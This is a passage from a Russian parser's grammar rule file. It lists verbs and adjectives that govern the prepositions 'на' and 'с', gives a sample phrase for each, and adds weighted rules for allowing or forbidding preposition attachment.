гвоздь инфинитив:походить{вид:соверш}, // походить на занятия глагол:походить{вид:соверш}, деепричастие:походив{}, прилагательное:походивший{}, rus_verbs:помчаться{}, // помчаться на экзамен rus_verbs:ставить{}, // ставить на контроль rus_verbs:свалиться{}, // свалиться на землю rus_verbs:валиться{}, // валиться на землю rus_verbs:подарить{}, // подарить на день рожденья rus_verbs:сбежать{}, // сбежать на необитаемый остров rus_verbs:стрелять{}, // стрелять на поражение rus_verbs:обращать{}, // обращать на себя внимание rus_verbs:наступать{}, // наступать на те же грабли rus_verbs:сбросить{}, // сбросить на землю rus_verbs:обидеться{}, // обидеться на друга rus_verbs:устроиться{}, // устроиться на стажировку rus_verbs:погрузиться{}, // погрузиться на большую глубину rus_verbs:течь{}, // течь на землю rus_verbs:отбросить{}, // отбросить на землю rus_verbs:метать{}, // метать на дно rus_verbs:пустить{}, // пустить на переплавку rus_verbs:прожить{}, // прожить на пособие rus_verbs:полететь{}, // полететь на континент rus_verbs:пропустить{}, // пропустить на сцену rus_verbs:указывать{}, // указывать на ошибку rus_verbs:наткнуться{}, // наткнуться на клад rus_verbs:рвануть{}, // рвануть на юг rus_verbs:ступать{}, // ступать на землю rus_verbs:спрыгнуть{}, // спрыгнуть на берег rus_verbs:заходить{}, // заходить на огонёк rus_verbs:нырнуть{}, // нырнуть на глубину rus_verbs:рвануться{}, // рвануться на свободу rus_verbs:натянуть{}, // натянуть на голову rus_verbs:забраться{}, // забраться на стол rus_verbs:помахать{}, // помахать на прощание rus_verbs:содержать{}, // содержать на спонсорскую помощь rus_verbs:приезжать{}, // приезжать на праздники rus_verbs:проникнуть{}, // проникнуть на территорию rus_verbs:подъехать{}, // подъехать на митинг rus_verbs:устремиться{}, // устремиться на волю rus_verbs:посадить{}, // посадить на стул rus_verbs:ринуться{}, // ринуться на голкипера rus_verbs:подвигнуть{}, // подвигнуть на подвиг rus_verbs:отдавать{}, // отдавать на перевоспитание rus_verbs:отложить{}, // отложить на черный день rus_verbs:убежать{}, // убежать на танцы rus_verbs:поднимать{}, // поднимать на верхний этаж rus_verbs:переходить{}, // переходить на цифровой сигнал rus_verbs:отослать{}, // отослать на переаттестацию rus_verbs:отодвинуть{}, // отодвинуть на другую половину стола rus_verbs:назначить{}, // назначить на должность rus_verbs:осесть{}, // осесть на дно rus_verbs:торопиться{}, // торопиться на экзамен rus_verbs:менять{}, // менять на еду rus_verbs:доставить{}, // доставить на шестой этаж rus_verbs:заслать{}, // заслать на проверку rus_verbs:дуть{}, // дуть на воду rus_verbs:сослать{}, // сослать на каторгу rus_verbs:останавливаться{}, // останавливаться на отдых rus_verbs:сдаваться{}, // сдаваться на милость победителя rus_verbs:сослаться{}, // сослаться на презумпцию невиновности rus_verbs:рассердиться{}, // рассердиться на дочь rus_verbs:кинуть{}, // кинуть на землю rus_verbs:расположиться{}, // расположиться на ночлег rus_verbs:осмелиться{}, // осмелиться на подлог rus_verbs:шептать{}, // шептать на ушко rus_verbs:уронить{}, // уронить на землю rus_verbs:откинуть{}, // откинуть на спинку кресла rus_verbs:перенести{}, // перенести на рабочий стол rus_verbs:сдаться{}, // сдаться на милость победителя rus_verbs:светить{}, // светить на дорогу rus_verbs:мчаться{}, // мчаться на бал rus_verbs:нестись{}, // нестись на свидание rus_verbs:поглядывать{}, // поглядывать на экран rus_verbs:орать{}, // орать на детей rus_verbs:уложить{}, // уложить на лопатки rus_verbs:решаться{}, // решаться на поступок rus_verbs:попадать{}, // попадать на карандаш rus_verbs:сплюнуть{}, // сплюнуть на землю rus_verbs:снимать{}, // снимать на телефон rus_verbs:опоздать{}, // опоздать на работу rus_verbs:посылать{}, // посылать на проверку rus_verbs:погнать{}, // погнать на пастбище rus_verbs:поступать{}, // поступать на кибернетический факультет rus_verbs:спускаться{}, // спускаться на уровень моря rus_verbs:усадить{}, // усадить на диван rus_verbs:проиграть{}, // проиграть на спор rus_verbs:прилететь{}, // прилететь на фестиваль rus_verbs:повалиться{}, // повалиться на спину rus_verbs:огрызнуться{}, // Собака огрызнулась на хозяина rus_verbs:задавать{}, // задавать на выходные rus_verbs:запасть{}, // запасть на девочку rus_verbs:лезть{}, // лезть на забор rus_verbs:потащить{}, // потащить на выборы rus_verbs:направляться{}, // направляться на экзамен rus_verbs:определять{}, // определять на вкус rus_verbs:поползти{}, // поползти на стену rus_verbs:поплыть{}, // поплыть на берег rus_verbs:залезть{}, // залезть на яблоню rus_verbs:сдать{}, // сдать на мясокомбинат rus_verbs:приземлиться{}, // приземлиться на дорогу rus_verbs:лаять{}, // лаять на прохожих rus_verbs:перевернуть{}, // перевернуть на бок rus_verbs:ловить{}, // ловить на живца rus_verbs:отнести{}, // отнести животное на хирургический стол rus_verbs:плюнуть{}, // плюнуть на условности rus_verbs:передавать{}, // передавать на проверку rus_verbs:нанять{}, // Босс нанял на работу еще несколько человек rus_verbs:разозлиться{}, // Папа разозлился на сына из-за плохих оценок по математике инфинитив:рассыпаться{вид:несоверш}, // рассыпаться на мелкие детали инфинитив:рассыпаться{вид:соверш}, глагол:рассыпаться{вид:несоверш}, глагол:рассыпаться{вид:соверш}, деепричастие:рассыпавшись{}, деепричастие:рассыпаясь{}, прилагательное:рассыпавшийся{вид:несоверш}, прилагательное:рассыпавшийся{вид:соверш}, прилагательное:рассыпающийся{}, rus_verbs:зарычать{}, // Медведица зарычала на медвежонка rus_verbs:призвать{}, // призвать на сборы rus_verbs:увезти{}, // увезти на дачу rus_verbs:содержаться{}, // содержаться на пожертвования rus_verbs:навести{}, // навести на скопление телескоп rus_verbs:отправляться{}, // отправляться на утилизацию rus_verbs:улечься{}, // улечься на животик rus_verbs:налететь{}, // налететь на препятствие rus_verbs:перевернуться{}, // перевернуться на спину rus_verbs:улететь{}, // улететь на родину rus_verbs:ложиться{}, // ложиться на бок rus_verbs:класть{}, // класть на место rus_verbs:отреагировать{}, // отреагировать на выступление rus_verbs:доставлять{}, // доставлять на дом rus_verbs:отнять{}, // отнять на благо правящей верхушки rus_verbs:ступить{}, // ступить на землю rus_verbs:сводить{}, // сводить на концерт знаменитой рок-группы rus_verbs:унести{}, // унести на работу rus_verbs:сходить{}, // сходить на концерт rus_verbs:потратить{}, // потратить на корм и наполнитель для туалета все деньги rus_verbs:соскочить{}, // соскочить на землю rus_verbs:пожаловаться{}, // пожаловаться на соседей rus_verbs:тащить{}, // тащить на замену rus_verbs:замахать{}, // замахать руками на паренька rus_verbs:заглядывать{}, // заглядывать на обед rus_verbs:соглашаться{}, // соглашаться на равный обмен rus_verbs:плюхнуться{}, // плюхнуться на мягкий пуфик rus_verbs:увести{}, // увести на осмотр rus_verbs:успевать{}, // успевать на контрольную работу rus_verbs:опрокинуть{}, // опрокинуть на себя rus_verbs:подавать{}, // подавать на апелляцию rus_verbs:прибежать{}, // прибежать на вокзал rus_verbs:отшвырнуть{}, // отшвырнуть на замлю rus_verbs:привлекать{}, // привлекать на свою сторону rus_verbs:опереться{}, // опереться на палку rus_verbs:перебраться{}, // перебраться на маленький островок rus_verbs:уговорить{}, // уговорить на новые траты rus_verbs:гулять{}, // гулять на спонсорские деньги rus_verbs:переводить{}, // переводить на другой путь rus_verbs:заколебаться{}, // заколебаться на один миг rus_verbs:зашептать{}, // зашептать на ушко rus_verbs:привстать{}, // привстать на цыпочки rus_verbs:хлынуть{}, // хлынуть на берег rus_verbs:наброситься{}, // наброситься на еду rus_verbs:напасть{}, // повстанцы, напавшие на конвой rus_verbs:убрать{}, // книга, убранная на полку rus_verbs:попасть{}, // путешественники, попавшие на ничейную территорию rus_verbs:засматриваться{}, // засматриваться на девчонок rus_verbs:застегнуться{}, // застегнуться на все пуговицы rus_verbs:провериться{}, // провериться на заболевания rus_verbs:проверяться{}, // проверяться на заболевания rus_verbs:тестировать{}, // тестировать на профпригодность rus_verbs:протестировать{}, // протестировать на профпригодность rus_verbs:уходить{}, // отец, уходящий на работу rus_verbs:налипнуть{}, // снег, налипший на провода rus_verbs:налипать{}, // снег, налипающий на провода rus_verbs:улетать{}, // Многие птицы улетают осенью на юг. rus_verbs:поехать{}, // она поехала на встречу с заказчиком rus_verbs:переключать{}, // переключать на резервную линию rus_verbs:переключаться{}, // переключаться на резервную линию rus_verbs:подписаться{}, // подписаться на обновление rus_verbs:нанести{}, // нанести на кожу rus_verbs:нарываться{}, // нарываться на неприятности rus_verbs:выводить{}, // выводить на орбиту rus_verbs:вернуться{}, // вернуться на родину rus_verbs:возвращаться{}, // возвращаться на родину прилагательное:падкий{}, // Он падок на деньги. прилагательное:обиженный{}, // Он обижен на отца. rus_verbs:косить{}, // Он косит на оба глаза. rus_verbs:закрыть{}, // Он забыл закрыть дверь на замок. прилагательное:готовый{}, // Он готов на всякие жертвы. rus_verbs:говорить{}, // Он говорит на скользкую тему. прилагательное:глухой{}, // Он глух на одно ухо. rus_verbs:взять{}, // Он взял ребёнка себе на колени. rus_verbs:оказывать{}, // Лекарство не оказывало на него никакого действия. rus_verbs:вести{}, // Лестница ведёт на третий этаж. rus_verbs:уполномочивать{}, // уполномочивать на что-либо глагол:спешить{ вид:несоверш }, // Я спешу на поезд. rus_verbs:брать{}, // Я беру всю ответственность на себя. rus_verbs:произвести{}, // Это произвело на меня глубокое впечатление. rus_verbs:употребить{}, // Эти деньги можно употребить на ремонт фабрики. rus_verbs:наводить{}, // Эта песня наводит на меня сон и скуку. rus_verbs:разбираться{}, // Эта машина разбирается на части. rus_verbs:оказать{}, // Эта книга оказала на меня большое влияние. rus_verbs:разбить{}, // Учитель разбил учеников на несколько групп. rus_verbs:отразиться{}, // Усиленная работа отразилась на его здоровье. rus_verbs:перегрузить{}, // Уголь надо перегрузить на другое судно. rus_verbs:делиться{}, // Тридцать делится на пять без остатка. rus_verbs:удаляться{}, // Суд удаляется на совещание. rus_verbs:показывать{}, // Стрелка компаса всегда показывает на север. rus_verbs:сохранить{}, // Сохраните это на память обо мне. rus_verbs:уезжать{}, // Сейчас все студенты уезжают на экскурсию. rus_verbs:лететь{}, // Самолёт летит на север. rus_verbs:бить{}, // Ружьё бьёт на пятьсот метров. // rus_verbs:прийтись{}, // Пятое число пришлось на субботу. rus_verbs:вынести{}, // Они вынесли из лодки на берег все вещи. rus_verbs:смотреть{}, // Она смотрит на нас из окна. rus_verbs:отдать{}, // Она отдала мне деньги на сохранение. rus_verbs:налюбоваться{}, // Не могу налюбоваться на картину. rus_verbs:любоваться{}, // гости любовались на картину rus_verbs:попробовать{}, // Дайте мне попробовать на ощупь. прилагательное:действительный{}, // Прививка оспы действительна только на три года. rus_verbs:спуститься{}, // На город спустился смог прилагательное:нечистый{}, // Он нечист на руку. прилагательное:неспособный{}, // Он неспособен на такую низость. прилагательное:злой{}, // кот очень зол на хозяина rus_verbs:пойти{}, // Девочка не пошла на урок физультуры rus_verbs:прибывать{}, // мой поезд прибывает на первый путь rus_verbs:застегиваться{}, // пальто застегивается на двадцать одну пуговицу rus_verbs:идти{}, // Дело идёт на лад. rus_verbs:лазить{}, // Он лазил на чердак. rus_verbs:поддаваться{}, // Он легко поддаётся на уговоры. // rus_verbs:действовать{}, // действующий на нервы rus_verbs:выходить{}, // Балкон выходит на площадь. rus_verbs:работать{}, // Время работает на нас. глагол:написать{aux stress="напис^ать"}, // Он написал музыку на слова Пушкина. rus_verbs:бросить{}, // Они бросили все силы на строительство. // глагол:разрезать{aux stress="разр^езать"}, глагол:разрезать{aux stress="разрез^ать"}, // Она разрезала пирог на шесть кусков. rus_verbs:броситься{}, // Она радостно бросилась мне на шею. rus_verbs:оправдать{}, // Она оправдала неявку на занятия болезнью. rus_verbs:ответить{}, // Она не ответила на мой поклон. rus_verbs:нашивать{}, // Она нашивала заплату на локоть. rus_verbs:молиться{}, // Она молится на свою мать. rus_verbs:запереть{}, // Она заперла дверь на замок. rus_verbs:заявить{}, // Она заявила свои права на наследство. rus_verbs:уйти{}, // Все деньги ушли на путешествие. rus_verbs:вступить{}, // Водолаз вступил на берег. rus_verbs:сойти{}, // Ночь сошла на землю. rus_verbs:приехать{}, // Мы приехали на вокзал слишком рано. rus_verbs:рыдать{}, // Не рыдай так безумно над ним. rus_verbs:подписать{}, // Не забудьте подписать меня на газету. rus_verbs:держать{}, // Наш пароход держал курс прямо на север. rus_verbs:свезти{}, // На выставку свезли экспонаты со всего мира. rus_verbs:ехать{}, // Мы сейчас едем на завод. rus_verbs:выбросить{}, // Волнами лодку выбросило на берег. ГЛ_ИНФ(сесть), // сесть на снег ГЛ_ИНФ(записаться), ГЛ_ИНФ(положить) // положи книгу на стол } #endregion VerbList // Чтобы разрешить связывание в паттернах типа: залить на youtube fact гл_предл { if context { Гл_НА_Вин предлог:на{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { глагол:купить{} предлог:на{} 'деньги'{падеж:вин} } then return true } fact гл_предл { if context { Гл_НА_Вин предлог:на{} *:*{ падеж:вин } } then return true } // смещаться на несколько миллиметров fact гл_предл { if context { Гл_НА_Вин предлог:на{} наречие:*{} } then return true } // партия взяла на себя нереалистичные обязательства fact гл_предл { if context { глагол:взять{} предлог:на{} 'себя'{падеж:вин} } then return true } #endregion ВИНИТЕЛЬНЫЙ // Все остальные варианты с предлогом 'НА' по умолчанию запрещаем. fact гл_предл { if context { * предлог:на{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:на{} *:*{ падеж:мест } } then return false,-3 } fact гл_предл { if context { * предлог:на{} *:*{ падеж:вин } } then return false,-4 } // Этот вариант нужен для обработки конструкций с числительными: // Президентские выборы разделили Венесуэлу на два непримиримых лагеря fact гл_предл { if context { * предлог:на{} *:*{ падеж:род } } then return false,-4 } // Продавать на eBay fact гл_предл { if context { * предлог:на{} * } then return false,-6 } #endregion Предлог_НА #region Предлог_С // ------------- ПРЕДЛОГ 'С' ----------------- // У этого предлога предпочтительная семантика привязывает его обычно к существительному. // Поэтому запрещаем по умолчанию его привязку к глаголам, а разрешенные глаголы перечислим. #region ТВОРИТЕЛЬНЫЙ wordentry_set Гл_С_Твор={ rus_verbs:помогать{}, // будет готов помогать врачам в онкологическом центре с постановкой верных диагнозов rus_verbs:перепихнуться{}, // неужели ты не хочешь со мной перепихнуться rus_verbs:забраться{}, rus_verbs:ДРАТЬСЯ{}, // Мои же собственные ратники забросали бы меня гнилой капустой, и мне пришлось бы драться с каждым рыцарем в стране, чтобы доказать свою смелость. (ДРАТЬСЯ/БИТЬСЯ/ПОДРАТЬСЯ) rus_verbs:БИТЬСЯ{}, // rus_verbs:ПОДРАТЬСЯ{}, // прилагательное:СХОЖИЙ{}, // Не был ли он схожим с одним из живых языков Земли (СХОЖИЙ) rus_verbs:ВСТУПИТЬ{}, // Он намеревался вступить с Вольфом в ближний бой. (ВСТУПИТЬ) rus_verbs:КОРРЕЛИРОВАТЬ{}, // Это коррелирует с традиционно сильными направлениями московской математической школы. (КОРРЕЛИРОВАТЬ) rus_verbs:УВИДЕТЬСЯ{}, // Он проигнорирует истерические протесты жены и увидится сначала с доктором, а затем с психотерапевтом (УВИДЕТЬСЯ) rus_verbs:ОЧНУТЬСЯ{}, // Когда он очнулся с болью в левой стороне черепа, у него возникло пугающее ощущение. (ОЧНУТЬСЯ) прилагательное:сходный{}, // Мозг этих существ сходен по размерам с мозгом динозавра rus_verbs:накрыться{}, // Было холодно, и он накрылся с головой одеялом. rus_verbs:РАСПРЕДЕЛИТЬ{}, // Бюджет распределят с участием горожан (РАСПРЕДЕЛИТЬ) rus_verbs:НАБРОСИТЬСЯ{}, // Пьяный водитель набросился с ножом на сотрудников ГИБДД (НАБРОСИТЬСЯ) rus_verbs:БРОСИТЬСЯ{}, // она со смехом бросилась прочь (БРОСИТЬСЯ) rus_verbs:КОНТАКТИРОВАТЬ{}, // Электронным магазинам стоит контактировать с клиентами (КОНТАКТИРОВАТЬ) rus_verbs:ВИДЕТЬСЯ{}, // Тогда мы редко виделись друг с другом rus_verbs:сесть{}, // сел в него с дорожной сумкой , наполненной наркотиками rus_verbs:купить{}, // Мы купили с ним одну и ту же книгу rus_verbs:ПРИМЕНЯТЬ{}, // Меры по стимулированию спроса в РФ следует применять с осторожностью (ПРИМЕНЯТЬ) rus_verbs:УЙТИ{}, // ты мог бы уйти со мной (УЙТИ) rus_verbs:ЖДАТЬ{}, // С нарастающим любопытством ждем результатов аудита золотых хранилищ европейских и американских центробанков (ЖДАТЬ) rus_verbs:ГОСПИТАЛИЗИРОВАТЬ{}, // Мэра Твери, участвовавшего в спартакиаде, госпитализировали с инфарктом (ГОСПИТАЛИЗИРОВАТЬ) rus_verbs:ЗАХЛОПНУТЬСЯ{}, // она захлопнулась со звоном (ЗАХЛОПНУТЬСЯ) rus_verbs:ОТВЕРНУТЬСЯ{}, // она со вздохом отвернулась (ОТВЕРНУТЬСЯ) rus_verbs:отправить{}, // вы можете отправить со мной человека rus_verbs:выступать{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам rus_verbs:ВЫЕЗЖАТЬ{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку (ВЫЕЗЖАТЬ С твор) rus_verbs:ПОКОНЧИТЬ{}, // со всем этим покончено (ПОКОНЧИТЬ С) rus_verbs:ПОБЕЖАТЬ{}, // Дмитрий побежал со всеми (ПОБЕЖАТЬ С) прилагательное:несовместимый{}, // характер ранений был несовместим с жизнью (НЕСОВМЕСТИМЫЙ С) rus_verbs:ПОСЕТИТЬ{}, // Его кабинет местные тележурналисты посетили со скрытой камерой (ПОСЕТИТЬ С) rus_verbs:СЛОЖИТЬСЯ{}, // сами банки принимают меры по урегулированию сложившейся с вкладчиками ситуации (СЛОЖИТЬСЯ С) rus_verbs:ЗАСТАТЬ{}, // Молодой человек убил пенсионера , застав его в постели с женой (ЗАСТАТЬ С) rus_verbs:ОЗНАКАМЛИВАТЬСЯ{}, // при заполнении заявления владельцы судов ознакамливаются с режимом (ОЗНАКАМЛИВАТЬСЯ С) rus_verbs:СООБРАЗОВЫВАТЬ{}, // И все свои задачи мы сообразовываем с этим пониманием (СООБРАЗОВЫВАТЬ С) rus_verbs:СВЫКАТЬСЯ{}, rus_verbs:стаскиваться{}, rus_verbs:спиливаться{}, rus_verbs:КОНКУРИРОВАТЬ{}, // Бедные и менее развитые страны не могут конкурировать с этими субсидиями (КОНКУРИРОВАТЬ С) rus_verbs:ВЫРВАТЬСЯ{}, // тот с трудом вырвался (ВЫРВАТЬСЯ С твор) rus_verbs:СОБРАТЬСЯ{}, // нужно собраться с силами (СОБРАТЬСЯ С) rus_verbs:УДАВАТЬСЯ{}, // удавалось это с трудом (УДАВАТЬСЯ С) rus_verbs:РАСПАХНУТЬСЯ{}, // дверь с треском распахнулась (РАСПАХНУТЬСЯ С) rus_verbs:НАБЛЮДАТЬ{}, // Олег наблюдал с любопытством (НАБЛЮДАТЬ С) rus_verbs:ПОТЯНУТЬ{}, // затем с силой потянул (ПОТЯНУТЬ С) rus_verbs:КИВНУТЬ{}, // Питер с трудом кивнул (КИВНУТЬ С) rus_verbs:СГЛОТНУТЬ{}, // Борис с трудом сглотнул (СГЛОТНУТЬ С) rus_verbs:ЗАБРАТЬ{}, // забрать его с собой (ЗАБРАТЬ С) rus_verbs:ОТКРЫТЬСЯ{}, // дверь с шипением открылась (ОТКРЫТЬСЯ С) rus_verbs:ОТОРВАТЬ{}, // с усилием оторвал взгляд (ОТОРВАТЬ С твор) rus_verbs:ОГЛЯДЕТЬСЯ{}, // Рома с любопытством огляделся (ОГЛЯДЕТЬСЯ С) rus_verbs:ФЫРКНУТЬ{}, // турок фыркнул с отвращением (ФЫРКНУТЬ С) rus_verbs:согласиться{}, // с этим согласились все (согласиться с) rus_verbs:ПОСЫПАТЬСЯ{}, // с грохотом посыпались камни (ПОСЫПАТЬСЯ С твор) rus_verbs:ВЗДОХНУТЬ{}, // Алиса вздохнула с облегчением (ВЗДОХНУТЬ С) rus_verbs:ОБЕРНУТЬСЯ{}, // та с удивлением обернулась (ОБЕРНУТЬСЯ С) rus_verbs:ХМЫКНУТЬ{}, // Алексей хмыкнул с сомнением (ХМЫКНУТЬ С твор) rus_verbs:ВЫЕХАТЬ{}, // они выехали с рассветом (ВЫЕХАТЬ С твор) rus_verbs:ВЫДОХНУТЬ{}, // Владимир выдохнул с облегчением (ВЫДОХНУТЬ С) rus_verbs:УХМЫЛЬНУТЬСЯ{}, // Кеша ухмыльнулся с сомнением (УХМЫЛЬНУТЬСЯ С) rus_verbs:НЕСТИСЬ{}, // тот несся с криком (НЕСТИСЬ С твор) rus_verbs:ПАДАТЬ{}, // падают с глухим стуком (ПАДАТЬ С твор) rus_verbs:ТВОРИТЬСЯ{}, // странное творилось с глазами (ТВОРИТЬСЯ С твор) rus_verbs:УХОДИТЬ{}, // с ними уходили эльфы (УХОДИТЬ С твор) rus_verbs:СКАКАТЬ{}, // скакали тут с топорами (СКАКАТЬ С твор) rus_verbs:ЕСТЬ{}, // здесь едят с зеленью (ЕСТЬ С твор) rus_verbs:ПОЯВИТЬСЯ{}, // с рассветом появились птицы (ПОЯВИТЬСЯ С твор) rus_verbs:ВСКОЧИТЬ{}, // Олег вскочил с готовностью (ВСКОЧИТЬ С твор) rus_verbs:БЫТЬ{}, // хочу быть с тобой (БЫТЬ С твор) rus_verbs:ПОКАЧАТЬ{}, // с сомнением покачал головой. (ПОКАЧАТЬ С СОМНЕНИЕМ) rus_verbs:ВЫРУГАТЬСЯ{}, // капитан с чувством выругался (ВЫРУГАТЬСЯ С ЧУВСТВОМ) rus_verbs:ОТКРЫТЬ{}, // с трудом открыл глаза (ОТКРЫТЬ С ТРУДОМ, таких много) rus_verbs:ПОЛУЧИТЬСЯ{}, // забавно получилось с ним (ПОЛУЧИТЬСЯ С) rus_verbs:ВЫБЕЖАТЬ{}, // старый выбежал с копьем (ВЫБЕЖАТЬ С) rus_verbs:ГОТОВИТЬСЯ{}, // Большинство компотов готовится с использованием сахара (ГОТОВИТЬСЯ С) rus_verbs:ПОДИСКУТИРОВАТЬ{}, // я бы подискутировал с Андрюхой (ПОДИСКУТИРОВАТЬ С) rus_verbs:ТУСИТЬ{}, // кто тусил со Светкой (ТУСИТЬ С) rus_verbs:БЕЖАТЬ{}, // куда она бежит со всеми? (БЕЖАТЬ С твор) rus_verbs:ГОРЕТЬ{}, // ты горел со своим кораблем? (ГОРЕТЬ С) rus_verbs:ВЫПИТЬ{}, // хотите выпить со мной чаю? (ВЫПИТЬ С) rus_verbs:МЕНЯТЬСЯ{}, // Я меняюсь с товарищем книгами. (МЕНЯТЬСЯ С) rus_verbs:ВАЛЯТЬСЯ{}, // Он уже неделю валяется с гриппом. (ВАЛЯТЬСЯ С) rus_verbs:ПИТЬ{}, // вы даже будете пить со мной пиво. (ПИТЬ С) инфинитив:кристаллизоваться{ вид:соверш }, // После этого пересыщенный раствор кристаллизуется с образованием кристаллов сахара. инфинитив:кристаллизоваться{ вид:несоверш }, глагол:кристаллизоваться{ вид:соверш }, глагол:кристаллизоваться{ вид:несоверш }, rus_verbs:ПООБЩАТЬСЯ{}, // пообщайся с Борисом (ПООБЩАТЬСЯ С) rus_verbs:ОБМЕНЯТЬСЯ{}, // Миша обменялся с Петей марками (ОБМЕНЯТЬСЯ С) rus_verbs:ПРОХОДИТЬ{}, // мы с тобой сегодня весь день проходили с вещами. (ПРОХОДИТЬ С) rus_verbs:ВСТАТЬ{}, // Он занимался всю ночь и встал с головной болью. (ВСТАТЬ С) rus_verbs:ПОВРЕМЕНИТЬ{}, // МВФ рекомендует Ирландии повременить с мерами экономии (ПОВРЕМЕНИТЬ С) rus_verbs:ГЛЯДЕТЬ{}, // Её глаза глядели с мягкой грустью. (ГЛЯДЕТЬ С + твор) rus_verbs:ВЫСКОЧИТЬ{}, // Зачем ты выскочил со своим замечанием? (ВЫСКОЧИТЬ С) rus_verbs:НЕСТИ{}, // плот несло со страшной силой. (НЕСТИ С) rus_verbs:приближаться{}, // стена приближалась со страшной быстротой. (приближаться с) rus_verbs:заниматься{}, // После уроков я занимался с отстающими учениками. (заниматься с) rus_verbs:разработать{}, // Этот лекарственный препарат разработан с использованием рецептов традиционной китайской медицины. (разработать с) rus_verbs:вестись{}, // Разработка месторождения ведется с использованием большого количества техники. (вестись с) rus_verbs:конфликтовать{}, // Маша конфликтует с Петей (конфликтовать с) rus_verbs:мешать{}, // мешать воду с мукой (мешать с) rus_verbs:иметь{}, // мне уже приходилось несколько раз иметь с ним дело. rus_verbs:синхронизировать{}, // синхронизировать с эталонным генератором rus_verbs:засинхронизировать{}, // засинхронизировать с эталонным генератором rus_verbs:синхронизироваться{}, // синхронизироваться с эталонным генератором rus_verbs:засинхронизироваться{}, // засинхронизироваться с эталонным генератором rus_verbs:стирать{}, // стирать с мылом рубашку в тазу rus_verbs:прыгать{}, // парашютист прыгает с парашютом rus_verbs:выступить{}, // Он выступил с приветствием съезду. rus_verbs:ходить{}, // В чужой монастырь со своим уставом не ходят. rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой. rus_verbs:отзываться{}, // Он отзывается об этой книге с большой похвалой. rus_verbs:вставать{}, // он встаёт с зарёй rus_verbs:мирить{}, // Его ум мирил всех с его дурным характером. rus_verbs:продолжаться{}, // стрельба тем временем продолжалась с прежней точностью. rus_verbs:договориться{}, // мы договоримся с вами rus_verbs:побыть{}, // он хотел побыть с тобой rus_verbs:расти{}, // Мировые производственные мощности растут с беспрецедентной скоростью rus_verbs:вязаться{}, // вязаться с фактами rus_verbs:отнестись{}, // отнестись к животным с сочуствием rus_verbs:относиться{}, // относиться с пониманием rus_verbs:пойти{}, // Спектакль пойдёт с участием известных артистов. rus_verbs:бракосочетаться{}, // Потомственный кузнец бракосочетался с разорившейся графиней rus_verbs:гулять{}, // бабушка гуляет с внуком rus_verbs:разбираться{}, // разбираться с задачей rus_verbs:сверить{}, // Данные были сверены с эталонными значениями rus_verbs:делать{}, // Что делать со старым телефоном rus_verbs:осматривать{}, // осматривать с удивлением rus_verbs:обсудить{}, // обсудить с приятелем прохождение уровня в новой игре rus_verbs:попрощаться{}, // попрощаться с талантливым актером rus_verbs:задремать{}, // задремать с кружкой чая в руке rus_verbs:связать{}, // связать катастрофу с действиями конкурентов rus_verbs:носиться{}, // носиться с безумной идеей rus_verbs:кончать{}, // кончать с собой rus_verbs:обмениваться{}, // обмениваться с собеседниками rus_verbs:переговариваться{}, // переговариваться с маяком rus_verbs:общаться{}, // общаться с полицией rus_verbs:завершить{}, // завершить с ошибкой rus_verbs:обняться{}, // обняться с подругой rus_verbs:сливаться{}, // сливаться с фоном rus_verbs:смешаться{}, // смешаться с толпой rus_verbs:договариваться{}, // договариваться с потерпевшим rus_verbs:обедать{}, // обедать с гостями rus_verbs:сообщаться{}, // сообщаться с подземной рекой rus_verbs:сталкиваться{}, // сталкиваться со стаей птиц rus_verbs:читаться{}, // читаться с трудом rus_verbs:смириться{}, // смириться с утратой rus_verbs:разделить{}, // разделить с другими ответственность rus_verbs:роднить{}, // роднить с медведем rus_verbs:медлить{}, // медлить с ответом rus_verbs:скрестить{}, // скрестить с ужом rus_verbs:покоиться{}, // покоиться с миром rus_verbs:делиться{}, // делиться с друзьями rus_verbs:познакомить{}, // познакомить с Олей rus_verbs:порвать{}, // порвать с Олей rus_verbs:завязать{}, // завязать с Олей знакомство rus_verbs:суетиться{}, // суетиться с изданием романа rus_verbs:соединиться{}, // соединиться с сервером rus_verbs:справляться{}, // справляться с нуждой rus_verbs:замешкаться{}, // замешкаться с ответом rus_verbs:поссориться{}, // поссориться с подругой rus_verbs:ссориться{}, // ссориться с друзьями rus_verbs:торопить{}, // торопить с решением rus_verbs:поздравить{}, // поздравить с победой rus_verbs:проститься{}, // проститься с человеком rus_verbs:поработать{}, // поработать с деревом rus_verbs:приключиться{}, // приключиться с Колей rus_verbs:сговориться{}, // сговориться с Ваней rus_verbs:отъехать{}, // отъехать с ревом rus_verbs:объединять{}, // объединять с другой кампанией rus_verbs:употребить{}, // употребить с молоком rus_verbs:перепутать{}, // перепутать с другой книгой rus_verbs:запоздать{}, // запоздать с ответом rus_verbs:подружиться{}, // подружиться с другими детьми rus_verbs:дружить{}, // дружить с Сережей rus_verbs:поравняться{}, // поравняться с финишной чертой rus_verbs:ужинать{}, // ужинать с гостями rus_verbs:расставаться{}, // расставаться с приятелями rus_verbs:завтракать{}, // завтракать с семьей rus_verbs:объединиться{}, // объединиться с соседями rus_verbs:сменяться{}, // сменяться с напарником rus_verbs:соединить{}, // соединить с сетью rus_verbs:разговориться{}, // разговориться с охранником rus_verbs:преподнести{}, // преподнести с помпой rus_verbs:напечатать{}, // напечатать с картинками rus_verbs:соединять{}, // соединять с сетью rus_verbs:расправиться{}, // расправиться с беззащитным человеком rus_verbs:распрощаться{}, // распрощаться с деньгами rus_verbs:сравнить{}, // сравнить с конкурентами rus_verbs:ознакомиться{}, // ознакомиться с выступлением инфинитив:сочетаться{ вид:несоверш }, глагол:сочетаться{ вид:несоверш }, // сочетаться с сумочкой деепричастие:сочетаясь{}, прилагательное:сочетающийся{}, прилагательное:сочетавшийся{}, rus_verbs:изнасиловать{}, // изнасиловать с применением чрезвычайного насилия rus_verbs:прощаться{}, // прощаться с боевым товарищем rus_verbs:сравнивать{}, // сравнивать с конкурентами rus_verbs:складывать{}, // складывать с весом упаковки rus_verbs:повестись{}, // повестись с ворами rus_verbs:столкнуть{}, // столкнуть с отбойником rus_verbs:переглядываться{}, // переглядываться с соседом rus_verbs:поторопить{}, // поторопить с откликом rus_verbs:развлекаться{}, // развлекаться с подружками rus_verbs:заговаривать{}, // заговаривать с незнакомцами rus_verbs:поцеловаться{}, // поцеловаться с первой девушкой инфинитив:согласоваться{ вид:несоверш }, глагол:согласоваться{ вид:несоверш }, // 